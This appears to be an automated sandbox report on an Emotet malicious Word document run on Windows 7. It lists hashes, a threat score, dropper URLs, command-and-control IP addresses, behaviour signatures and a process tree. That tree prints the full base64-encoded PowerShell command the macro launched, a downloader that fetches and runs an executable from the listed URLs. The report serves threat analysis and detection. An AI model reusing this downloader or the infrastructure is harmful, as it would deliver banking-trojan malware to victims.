Overview

overview

10

Static

static

8

emotet_e2_...oc.doc

windows7_x64

10

emotet_e2_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    84s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    26/08/2020, 00:00

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e2_8fca1b7834abd4c497c08643e11210ec88d3dc33c3d75a94f72f2039b584bf94_2020-08-25__235802._doc.doc
  • Size 219KB
  • Sample200826-5wxmvcydfa
  • SHA256 8fca1b7834abd4c497c08643e11210ec88d3dc33c3d75a94f72f2039b584bf94
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://quanticaelectronics.com/wp-admin/7ATr78/
  • exe.dropper

    https://rebelcom.ch/picture_library/bbCtlS/
  • exe.dropper

    https://realestateagentteam.com/163/QTd/
  • exe.dropper

    https://www.riddhidisplay.com/riddhi/1pKY/
  • exe.dropper

    http://radiosubmit.com/search_test/p/
  • exe.dropper

    http://researchchemplus.com/wp-admin/1OCC/
  • exe.dropper

    http://szymonszyperski.pl/assets/pk/

Extracted

Family

  • emotet

C2

  • 107.5.122.110:80

  • 199.101.86.6:443

  • 45.55.219.163:443

  • 62.30.7.67:443

  • 185.94.252.104:443

  • 203.117.253.142:80

  • 93.51.50.171:8080

  • 139.130.242.43:80

  • 181.230.116.163:80

  • 37.187.72.193:8080

  • 194.187.133.160:443

  • 167.86.90.214:8080

  • 61.19.246.238:443

  • 98.109.204.230:80

  • 180.92.239.110:8080

  • 121.124.124.40:7080

  • 47.146.117.214:80

  • 110.145.77.103:80

  • 97.82.79.83:80

  • 70.121.172.89:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 4 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_8fca1b7834abd4c497c08643e11210ec88d3dc33c3d75a94f72f2039b584bf94_2020-08-25__235802._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1000
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABWAGEANQB3ADMAbgA4AD0AKAAoACcAUQAnACsAJwAyAGgAJwApACsAKAAnAHcAOQBwACcAKwAnADEAJwApACkAOwAmACgAJwBuAGUAJwArACcAdwAtACcAKwAnAGkAdABlAG0AJwApACAAJABlAE4AVgA6AHQAZQBNAFAAXABXAE8AcgBkAFwAMgAwADEAOQBcACAALQBpAHQAZQBtAHQAeQBwAGUAIABEAEkAcgBlAGMAdABPAHIAeQA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6ACIAUwBlAGMAVQBSAGkAYABUAGAAeQBwAFIATwBgAFQAYABvAEMATwBMACIAIAA9ACAAKAAnAHQAJwArACcAbABzACcAKwAnADEAJwArACgAJwAyACwAIAB0AGwAJwArACcAcwAnACkAKwAnADEAMQAnACsAKAAnACwAIAAnACsAJwB0AGwAcwAnACkAKQA7ACQARABlAHAAcwBzAHUAMAAgAD0AIAAoACgAJwBEACcAKwAnAHkAeAAnACkAKwAoACcAeAAnACsAJwB1AHIANABnACcAKQArACcAeAAnACkAOwAkAEEANwA0AF8AagA5AHIAPQAoACcAVAAnACsAJwA0ACcAKwAoACcAZwBmADQANQAnACsAJwBoACcAKQApADsAJABGAGQAawBoAHQAZgBfAD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwB7ADAAfQAnACsAJwB3AG8AcgBkAHsAJwArACcAMAB9ACcAKwAoACcAMgAnACsAJwAwADEAJwApACsAJwA5AHsAMAB9ACcAKQAgAC0ARgAgAFsAQwBIAEEAcgBdADkAMgApACsAJABEAGUAcABzAHMAdQAwACsAKAAnAC4AJwArACgAJwBlAHgAJwArACcAZQAnACkAKQA7ACQATwAzADkAbgBqADEAcAA9ACgAJwBKADYAJwArACcAOQBsACcAKwAoACcAaABtACcAKwAnAGgAJwApACkAOwAkAFoAOABpADUAMgA1AHoAPQAmACgAJwBuAGUAdwAtACcAKwAnAG8AYgBqAGUAJwArACcAYwAnACsAJwB0ACcAKQAgAG4AZQBUAC4AVwBFAGIAYwBMAGkARQBOAHQAOwAkAEkAdwBtAGYAYQBoAHMAPQAoACgAJwBoACcAKwAnAHQAdABwACcAKQArACgAJwA6ACcAKwAnAC8ALwAnACkAKwAoACcAcQAnACsAJwB1ACcAKwAnAGEAbgB0AGkAYwBhAGUAbABlAGMAdAByAG8AJwArACcAbgAnACsAJwBpAGMAJwApACsAKAAnAHMALgBjAG8AbQAnACsAJwAvACcAKQArACcAdwAnACsAJwBwAC0AJwArACcAYQAnACsAKAAnAGQAJwArACcAbQBpAG4AJwApACsAJwAvACcAKwAnADcAQQAnACsAKAAnAFQAcgA3ADgAJwArACcALwAqACcAKwAnAGgAdAB0ACcAKQArACgAJwBwACcAKwAnAHMAOgAvACcAKQArACgAJwAvAHIAJwArACcAZQAnACkAKwAnAGIAZQAnACsAKAAnAGwAJwArACcAYwBvACcAKQArACcAbQAnACsAJwAuACcAKwAoACcAYwBoAC8AJwArACcAcABpACcAKwAnAGMAJwApACsAKAAnAHQAdQByAGUAJwArACcAXwAnACkAKwAoACcAbAAnACsAJwBpAGIAcgBhACcAKwAnAHIAeQAvAGIAYgBDAHQAJwApACsAKAAnAGwAJwArACcAUwAvACcAKQArACgAJwAqAGgAdAAnACsAJwB0AHAAJwArACcAcwA6AC8AJwApACsAKAAnAC8AcgBlACcAKwAnAGEAbAAnACkAKwAnAGUAJwArACcAcwAnACsAKAAnAHQAYQB0AGUAJwArACcAYQAnACkAKwAoACcAZwBlAG4AJwArACcAdAAnACkAKwAnAHQAZQAnACsAKAAnAGEAbQAuAGMAbwAnACsAJwBtACcAKQArACcALwAnACsAKAAnADEANgAzAC8AUQAnACsAJwBUACcAKQArACcAZAAnACsAKAAnAC8AJwArACcAKgBoAHQAJwArACcAdABwAHMAOgAnACkAKwAnAC8ALwAnACsAKAAnAHcAJwArACcAdwB3AC4AJwApACsAKAAnAHIAaQAnACsAJwBkAGQAJwApACsAKAAnAGgAaQAnACsAJwBkAGkAcwBwAGwAYQB5AC4AJwArACcAYwAnACsAJwBvACcAKQArACcAbQAvACcAKwAnAHIAJwArACcAaQBkACcAKwAnAGQAJwArACgAJwBoAGkAJwArACcALwAxAHAASwBZAC8AJwArACcAKgBoAHQAdAAnACkAKwAnAHAAJwArACgAJwA6ACcAKwAnAC8ALwAnACkAKwAoACcAcgBhAGQAaQAnACsAJwBvAHMAdQAnACsAJwBiAG0AaQB0AC4AYwBvAG0ALwAnACsAJwBzAGUAYQByACcAKQArACgAJwBjAGgAXwAnACsAJwB0AGUAcwAnACsAJwB0ACcAKQArACcALwAnACsAJwBwACcAKwAoACcALwAqACcAKwAnAGgAJwApACsAKAAnAHQAdABwACcAKwAnADoALwAnACkAKwAnAC8AJwArACgAJwByAGUAcwAnACsAJwBlACcAKQArACcAYQByACcAKwAoACcAYwBoACcAKwAnAGMAJwApACsAJwBoAGUAJwArACcAbQAnACsAKAAnAHAAbAB1ACcAKwAnAHMALgAnACsAJwBjACcAKQArACgAJwBvAG0ALwB3ACcAKwAnAHAALQAnACkAKwAoACcAYQAnACsAJwBkAG0AaQBuACcAKQArACcALwAxACcAKwAoACcATwBDACcAKwAnAEMAJwApACsAJwAvACcAKwAoACcAKgBoAHQAdABwADoAJwArACcALwAnACkAKwAoACcALwBzACcAKwAnAHoAeQBtAG8AJwApACsAKAAnAG4AcwAnACsAJwB6AHkAcAAnACkAKwAnAGUAcgAnACsAKAAnAHMAawAnACsAJwBpACcAKQArACgAJwAuACcAKwAnAHAAbAAvAGEAJwApACsAJwBzAHMAJwArACgAJwBlAHQAcwAvACcAKwAnAHAAJwApACsAJwBrAC8AJwApAC4AIgBTAGAAUABsAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFoAeABuAGIAcgB5AHIAPQAoACgAJwBEAHAAJwArACcAegA5ACcAKQArACcANAAnACsAJwBhADYAJwApADsAZgBvAHIAZQBhAGMAaAAoACQATQBxAGsAdQA1AGEAMgAgAGkAbgAgACQASQB3AG0AZgBhAGgAcwApAHsAdAByAHkAewAkAFoAOABpADUAMgA1AHoALgAiAGQAYABPAFcATgBgAGwAbwBhAGQAYABGAEkAbABFACIAKAAkAE0AcQBrAHUANQBhADIALAAgACQARgBkAGsAaAB0AGYAXwApADsAJABMAHQAOABiAGoAagA3AD0AKAAnAEwAbgAnACsAKAAnAHcAcAAnACsAJwBhAGcAJwApACsAJwBtACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAJwArACcAdAAnACsAJwBlAG0AJwApACAAJABGAGQAawBoAHQAZgBfACkALgAiAGwAZQBgAE4AZwBUAEgAIgAgAC0AZwBlACAAMgA4ADMAMQA1ACkAIAB7AC4AKAAnAEkAbgB2AG8AJwArACcAawBlACcAKwAnAC0ASQB0AGUAbQAnACkAKAAkAEYAZABrAGgAdABmAF8AKQA7ACQATgBmAGcAcgBnAHUAOQA9ACgAKAAnAFEAagA2ACcAKwAnAGIAcwAnACkAKwAnAHgAJwArACcAbgAnACkAOwBiAHIAZQBhAGsAOwAkAEQANwB5AHAAZwBvADEAPQAoACcAQgB2ACcAKwAoACcAZQAnACsAJwBiAGMAJwApACsAJwBrADAAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABHAG0AawA2AHoAbQBrAD0AKAAoACcAWgAyAHgAJwArACcAYQBhAGoAJwApACsAJwAwACcAKQA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1304
    • C:\Users\Admin\AppData\Local\Temp\word\2019\Dyxxur4gx.exe
      "C:\Users\Admin\AppData\Local\Temp\word\2019\Dyxxur4gx.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1816
      • C:\Windows\SysWOW64\msnetobj\bcrypt.exe
        "C:\Windows\SysWOW64\msnetobj\bcrypt.exe"
        3⤵
        • Executes dropped EXE
        • Modifies system certificate store
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:564

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/564-21-0x0000000000200000-0x000000000020C000-memory.dmp
        Download

        memory/1000-3-0x0000000007B90000-0x0000000007D90000-memory.dmp
        Download

        memory/1000-4-0x0000000007B90000-0x0000000007D90000-memory.dmp
        Download

        memory/1000-5-0x000000000B680000-0x000000000B684000-memory.dmp
        Download

        memory/1000-6-0x0000000007B90000-0x0000000007D90000-memory.dmp
        Download

        memory/1000-7-0x0000000007B90000-0x0000000007D90000-memory.dmp
        Download

        memory/1000-2-0x0000000009510000-0x0000000009514000-memory.dmp
        Download

        memory/1304-12-0x0000000001D60000-0x0000000001D61000-memory.dmp
        Download

        memory/1304-14-0x000000001C2C0000-0x000000001C2C1000-memory.dmp
        Download

        memory/1304-13-0x000000001AC70000-0x000000001AC71000-memory.dmp
        Download

        memory/1304-11-0x00000000021C0000-0x00000000021C1000-memory.dmp
        Download

        memory/1304-10-0x000000001AD80000-0x000000001AD81000-memory.dmp
        Download

        memory/1304-9-0x0000000002430000-0x0000000002431000-memory.dmp
        Download

        memory/1304-8-0x000007FEE9940000-0x000007FEEA32C000-memory.dmp
        Download

        memory/1612-22-0x000007FEEF5F0000-0x000007FEEF86A000-memory.dmp
        Download

        memory/1816-17-0x0000000000260000-0x000000000026C000-memory.dmp
        Download